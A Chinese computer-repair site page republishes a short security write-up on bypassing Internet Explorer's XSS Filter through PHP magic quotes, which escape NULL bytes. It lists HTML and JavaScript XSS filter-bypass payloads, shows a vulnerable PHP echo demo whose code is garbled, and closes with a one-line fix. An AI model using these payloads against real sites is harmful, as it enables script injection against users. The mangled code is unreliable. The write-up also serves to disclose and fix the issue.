沈阳电脑维修网,沈阳上门维修电脑服务
当前位置: 主页 > 沈阳网站推广>PHP引号致IE XSS Filter bypass的解决方案 >

PHP引号致IE XSS Filter bypass的解决方案

时间:2017-5-23来源:www.sypcwx.cn 作者: 沈阳电脑维修网点击:
沈阳电脑维修,上门维修电脑
  沈阳电脑维修上门服务13889116605: 在一些web容器中会对一些特殊字符做转换处理,这中间iexssfilter开发人员任何地方对它的了解有疏忽,都很可能导致bypass.在php中,如果开启了魔术引号特性(magic_q... 在一些web容器中会对一些特殊字符做转换处理,这中间iexssfilter开发人员任何地方对它的了解有疏忽,都很可能导致bypass. 在php中,如果开启了”魔术引号”特性(magic_quotes_gpc=On),则‘(single-quote),“(doublequote),\(backslash)和NULL字符将都会被反斜杠转义(%00=>\0).   1.xss.phpdemosourcecode:     <?phpecho$_GET[ <scripttype="text/ varx="<?phpecho$_GET[ </script>   2.HTMLbypasscase:   <script>alert(1)</script>  <script/%00%00%00%00%00>alert(1)</script>  %00%00v%00%00<script>alert(1)</script>  <script/%00%00v%00%00>alert(1)</script>   tips: 1.绕过字符必须出现在拦截规则中,例如拦截<script>就可以是<script[here]>.   3.javascriptbypasscase:     “;alert(1)//  %c0″;alert(%00)//  %c0″;//(%0dalert(1)//  %c0″;//(%0dalert(1)//  %c0″;//(%00%0dalert(1)//  %c0″//(%000000%0dalert(1)//   tips:www.it165.net   1.需要通过多字节问题吃掉一个\. 2.//(%000000%0d是用于绕过函数调用的拦截规则.   修复方案: 加入%00=>\0规则,当然这样可能还会产生别的问题
上一篇:凡客分站任意文件上传漏洞及修复方案
查看[PHP引号致IE XSS Filter bypass的解决方案]所有评论
发表评论
请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
用户名: 验证码:
推荐内容
关于我们 服务价格 联系我们 企业网站优化 沈阳网站建设 沈阳维修电脑